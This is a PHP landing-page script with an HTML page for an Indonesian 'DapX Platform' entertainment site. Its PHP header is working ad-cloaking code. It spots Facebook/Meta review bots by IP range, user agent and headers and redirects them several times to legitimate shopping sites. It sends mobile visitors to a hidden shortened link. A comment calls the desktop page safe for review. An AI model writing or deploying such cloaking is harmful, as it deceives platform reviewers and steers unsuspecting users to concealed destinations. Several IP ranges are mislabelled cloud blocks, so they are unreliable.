<?php
// =====================================================
// ❗ TIDAK BOLEH ADA OUTPUT SEBELUM INI
// =====================================================

// =====================================================
// ✅ IP RANGE FACEBOOK / META
// =====================================================
$facebook_ip_ranges = [
    // ===============================
    // META / FACEBOOK / INSTAGRAM (IPv4)
    // ===============================
    "31.13.24.0/21","31.13.64.0/18","45.64.40.0/22","57.144.0.0/14",
    "66.220.144.0/20","69.63.176.0/20","69.171.224.0/19","74.119.76.0/22",
    "103.4.96.0/22","129.134.0.0/16","157.240.0.0/16","163.70.128.0/17",
    "173.252.64.0/18","179.60.192.0/22","185.60.216.0/22","185.89.216.0/22",
    "199.201.64.0/22","204.15.20.0/22",

    // ===============================
    // META EDGE / CDN / IMAGE / VIDEO
    // ===============================
    "31.13.72.0/21","31.13.80.0/21","31.13.96.0/19","66.220.160.0/19",
    "69.171.240.0/20","74.119.80.0/21","103.4.100.0/22",
    "173.252.96.0/19","179.60.200.0/21",

    // ===============================
    // WHATSAPP / META SERVICES (IPv4)
    // ===============================
    "34.216.0.0/13","35.155.0.0/16","44.224.0.0/11","52.0.0.0/11",
    "52.84.0.0/15","54.144.0.0/12","54.160.0.0/11","54.192.0.0/12",

    // ===============================
    // META GRAPH API / BUSINESS / ADS
    // ===============================
    "157.240.192.0/18","163.70.0.0/16","173.252.0.0/16",
    "185.60.218.0/23","199.201.64.0/21",
    
    // ===============================
    // META / FACEBOOK / INSTAGRAM (IPv6)
    // ===============================
    "2a03:2880::/32","2a03:2880:f000::/36","2a03:2880:f10c::/48","2a03:2880:f11c::/48","2620:0:1c00::/40","2620:0:1cff::/48","2a03:2880:fffe::/48",

    // ===============================
    // WHATSAPP / META SERVICES (IPv6)
    // ===============================
    "2a03:2880::/32","2a03:2880:f000::/36","2620:0:1c00::/40"
];

// =====================================================
// ✅ CIDR CHECK
// =====================================================
function ip_in_range($ip, $range)
{
    if (strpos($range, ':') !== false) return false;
    [$subnet, $mask] = explode('/', $range);
    return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) === ip2long($subnet);
}

// =====================================================
// ✅ DETEKSI BOT FACEBOOK / META
// =====================================================
function is_facebook_ads_bot($ranges)
{
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';

    $ua_patterns = [
        'facebook','facebookexternalhit','facebot','meta',
        'adsbot','crawler','spider','preview','bot'
    ];

    foreach ($ua_patterns as $p) {
        if (strpos($ua, $p) !== false) return true;
    }

    foreach ($_SERVER as $k => $v) {
        if (stripos($k, 'fb-') !== false) return true;
    }

    if (filter_var($ip, FILTER_VALIDATE_IP)) {
        foreach ($ranges as $r) {
            if (ip_in_range($ip, $r)) return true;
        }
    }

    if (empty($ua)) return true;
    return false;
}

// =====================================================
// ✅ MULTI REDIRECT FUNCTION (3–5x)
// =====================================================
function multi_redirect(array $urls, int $min = 3, int $max = 5)
{
    if (headers_sent()) exit;

    shuffle($urls);
    $steps = rand($min, $max);

    for ($i = 0; $i < $steps; $i++) {
        if (!isset($urls[$i])) break;

        header("Location: {$urls[$i]}", true, 302);
        header("Cache-Control: no-store, no-cache, must-revalidate");
        header("Pragma: no-cache");
        usleep(rand(300000, 800000));
    }
    exit;
}

// =====================================================
// ✅ DETEKSI DEVICE
// =====================================================
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$DEVICE = preg_match('/android|iphone|ipad|ipod|blackberry|iemobile|opera mini/i', $ua);

// =====================================================
// ✅ NO CACHE
// =====================================================
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: 0");

// =====================================================
// ✅ URL
// =====================================================
$destination_url = "https://cutt.ly/vrxclE25";

$whitepages = [
    'https://www.lazada.co.id/products/pdp-i8733238475-s16172824832.html',
    'https://www.tokopedia.com/',
    'https://www.blibli.com/',
    'https://www.bukalapak.com/',
    'https://shopee.co.id/'
];

// =====================================================
// 🔴 MODE 1 — BOT FACEBOOK / META
// =====================================================
if (is_facebook_ads_bot($facebook_ip_ranges)) {
    multi_redirect($whitepages, 3, 5);
}

// =====================================================
// 🟢 MODE 2 — MOBILE USER
// =====================================================
if ($DEVICE) {
    header("Location: $destination_url", true, 302);
    exit;
}
?>

<!-- =====================================================
     🖥 DESKTOP VIEW (AMAN BUAT REVIEW)
===================================================== -->

<!doctype html>
<html lang="id" data-variant="A">
<head>
<meta charset="utf-8">
<title>DapX Platform – DapX Platform Experience</title>

<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="description" content="DapX Platform adalah platform hiburan digital futuristik dengan pengalaman DapX Platform modern.">

<style>
:root{
  --neon:#00f6ff;
  --pink:#ff2dfc;
  --alt:#7c3aed;
}

/* ================= BASE ================= */
body{
  margin:0;
  font-family:Arial, Helvetica, sans-serif;
  color:#fff;
  background:#000;
  overflow-x:hidden;
}

/* FULLSCREEN BACKGROUND */
body::before{
  content:"";
  position:fixed;
  inset:0;
  background:
    linear-gradient(180deg,rgba(0,0,0,.75),#000),
    url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFAoGzPEIm-G72T2pXBKlMf12sILOUxfSatbkJ83eMkPpgB_v3ziM0yRPyjFeThDwTPIDFY3t7MHQk4xHIUvCpXzHnsbYoMT_NyW_RJ2uaLLJhPMSXmgde_xxqxXBJiZ3TSrzpCCm0pGq19-O3tw8DdMHxHFbRURqd0OWFd89A41lfvJrSlpWIhrtc4s7Y/s675/bg-cyber.png")
    center/cover no-repeat;
  z-index:-1;
}

.container{
  max-width:1180px;
  margin:auto;
  padding:26px;
  position:relative;
  z-index:2;
}

/* ================= HERO ================= */
header{
  display:grid;
  grid-template-columns:1fr;
  gap:48px;
  padding:110px 0 70px;
  text-align:center;
}

/* TITLE */
.glitch{
  font-size:54px;
  font-weight:900;
  text-transform:uppercase;
  background:linear-gradient(90deg,var(--neon),var(--pink),var(--alt));
  -webkit-background-clip:text;
  -webkit-text-fill-color:transparent;
  text-shadow:0 0 40px rgba(0,246,255,.7);
}

.tagline{
  max-width:560px;
  margin:18px auto 0;
  font-size:18px;
  opacity:.9;
}

/* CTA */
.buttons{
  display:flex;
  flex-direction:column;
  align-items:center;
  gap:14px;
  margin-top:34px;
}

.btn{
  width:100%;
  max-width:320px;
  padding:16px 0;
  border-radius:70px;
  font-weight:900;
  font-size:14px;
  letter-spacing:.8px;
  text-decoration:none;
  text-transform:uppercase;
}

.btn-login{
  border:2px solid var(--neon);
  color:var(--neon);
  box-shadow:0 0 35px rgba(0,246,255,.65);
}

.btn-register{
  background:linear-gradient(90deg,var(--neon),var(--pink));
  color:#000;
  box-shadow:0 0 45px rgba(255,45,252,.85);
}

/* ================= IMAGES ================= */
.hero-img{
  max-width:760px;
  margin:0 auto;
  border-radius:28px;
  overflow:hidden;
  box-shadow:
    0 0 80px rgba(0,246,255,.35),
    0 0 140px rgba(255,45,252,.3);
}

.hero-img img{
  width:100%;
  height:auto;
  display:block;
}

/* SHOWCASE */
.showcase{
  display:grid;
  grid-template-columns:repeat(3,1fr);
  gap:16px;
  margin:80px 0;
}

.showcase img{
  width:100%;
  border-radius:20px;
  box-shadow:0 0 35px rgba(0,246,255,.25);
}

/* FEATURES */
.features{
  display:grid;
  grid-template-columns:repeat(auto-fit,minmax(240px,1fr));
  gap:26px;
  margin:100px 0;
}

.card{
  background:linear-gradient(180deg,rgba(255,255,255,.1),rgba(255,255,255,.02));
  border-radius:24px;
  padding:26px;
  box-shadow:0 0 35px rgba(0,0,0,.85);
}

.card img{
  width:100%;
  border-radius:14px;
  margin-bottom:12px;
}

.card h3{
  color:var(--neon);
  margin-top:10px;
}

/* FOOTER */
footer{
  text-align:center;
  opacity:.6;
  font-size:13px;
}

/* FLOAT CTA */
.float{
  position:fixed;
  right:18px;
  bottom:18px;
  display:flex;
  flex-direction:column;
  gap:12px;
  z-index:99;
}

.float a{
  padding:14px 22px;
  border-radius:60px;
  font-weight:bold;
  text-decoration:none;
  color:#000;
}

.wa{background:#25D366}
.tg{background:#229ED9;color:#fff}

/* DESKTOP */
@media(min-width:768px){
  header{
    grid-template-columns:1.1fr .9fr;
    text-align:left;
  }
  .buttons{
    flex-direction:row;
    justify-content:flex-start;
  }
  .btn{
    width:auto;
    padding:16px 44px;
  }
}
</style>
</head>

<body>

<div class="container">

<header>
  <div>
    <img 
    src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioQYtuIKhyfU7fLCoGW4GnL55QklbR2xHRcCZjA_zL7dy0esy7WwQkZTVwIe4WzctZmakmpZRMFS1C0he1hjicST0T75vLENv_3WADKw2dC8cu2UPBPrYIipqVxR0h_H2LwcIXDMPOSYEjSmtl7drVJmAGFNNoKte55Pe6hFYIt6dqp6qhqAFY7QBv0Y38/s841/logo-cyber.png"
    alt="DapX Platform"
    style="max-width:260px;width:100%;height:auto;"
    >
    <div class="tagline">
      DapX Platform digital entertainment experience dengan neon interface dan teknologi masa depan.
    </div>
    <div class="buttons">
      <a href="https://cutt.ly/vrxclE25" class="btn btn-login">Login</a>
      <a href="https://cutt.ly/vrxclE25" class="btn btn-register">Daftar</a>
    </div>
  </div>

  <div class="hero-img">
    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAzXCpGb9kJy8OsaAJ7aOUtb32NsQ2fLLGIqhQmQZ6PXHFGDh_8Q_EJSzdNrkqcUI07qRtiaBKejnlanDMBtEUxxE1HLynr46UqXDEK3ZOIkrUR6FmkLmyq8uBBG2DbywUoqwUO4XPC137CvSdC8h8jG2_Ls1XNJUwhaTIUkLdUMLePJSTvvIdVg3uMOO/s287/banner-cyberpunk.png" alt="Cyberpunk City">
  </div>
</header>

<section class="showcase">
  <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1JPamlD2Sm-eniUirHlHQUMw_mHb1WovpREjNkRD32vX9LFUf4FsoyGCnQt8w3yGs8UO5NHs3bGjtchOIeouQntgytF9JfbpDCatzZGLFsV0aQIhsKOoeK9M48AMG1hbel3K49T9abPir354DA424N4wxdRlMnqlXKpA63IKRxji4DdxkP100NB0G4MU-/s335/kiri-cyber.png">
  <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwm6cMxDTbrpeY8dkP4_Xt0G_fFJfwyDiSsxY-YncvsgIqQPV2XcX6uJzo9LW5HFrVTtvXU_WyfzV4DCXWIw7-Vv2UTIwg7rFznl7jDpLzfzrZkd4yaRXu4qHaV8Vv3NjJkSmdti-VTyE6PkoLyY9vtjJvGKaJbz3ylMiWzKx0jhBi0lO3WPtOygV924Pm/s346/tengah-cyber.png">
  <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tJA3geSG3U9SmB0MDHFAh0m-BgkCK-LwEinWmGN3C5B1nMFVU1_thRKOVwLUKGxqtY6DiPLsQCR2JXQPJSG5UkYAXtOgHYCIo_FMpDpVp9xMmKggpKChBR0QmL_eiyJ5iA0I68qN2eCFHYm_Z1ndFUeTh9oLCgWTIOogzqyARnJv9-8j8oPm7sTQpin0/s337/kanan-cyber.png">
</section>

<section class="features">
  <div class="card">
    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYyd7C9kx5NCgdzcTpA0Ez-iqR_wO0K1nJke97Po_p_VxKuDd1gDnUkasSVfwLt_JLoCue38f6KAUFl_ZJP_I3WBK-5oPtgPLHLYGIz8L1FkCpGPShj85QzwIHwYCxUyzw8U1qbrr7h9CZKtzWYhSEl1KUn6Z6XW8Rocg2b4nn4Z1SXrr6cC1erc1DqfIB/s266/kiri-bawah-cyber.png">
    <h3>Digital Network</h3>
    <p>Ekosistem hiburan futuristik generasi baru.</p>
  </div>
  <div class="card">
    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6xFUbghV1ttd3l6wZNO3yEliNHi1DzJdRg_DenyYk1Xi_3sx1-vWqlCripdoT1DL2rhyphenhyphenUooC7bjTEPyjDbEXSQ28LITSh11C__obyX9zbONbjr75RPsNz-Zwq5CbO3ygojQDB9ensPWMth4Z2usE7SSVtnrjVeVg3QnJgGeHXVR5YmnlXRX5zaBglrPDX/s290/tengah-bawah-cyber.png">
    <h3>Ultra Performance</h3>
    <p>Server stabil dan responsif.</p>
  </div>
  <div class="card">
    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQxccKYdxEAhhEoK_hQ1rsEnoiV1fb7PRcQq81pul-vQ75O9tdxjQJYh2tE7hD2j51AZuj6DMbL1YWN-cgyr4_hLPfu996NRgN1skVtZ0svN51MeZYVQQeYuopewUf7bl7E_oXv0B-0P9DlugtrTkbIqHN7ZFVF7qToVTDggNaM0JKnpYNgZjf6eJbuqk1/s268/kanan-bawah-cyber.png">
    <h3>Cross Platform</h3>
    <p>Optimal di desktop dan mobile.</p>
  </div>
</section>

<footer>
© 2026 DapX Platform • DapX Platform Digital Experience
</footer>

</div>

<div class="float">
  <a href="https://wa.me/628xxxxxxxxx" class="wa">WhatsApp</a>
  <a href="https://t.me/username" class="tg">Telegram</a>
</div>

</body>
</html>


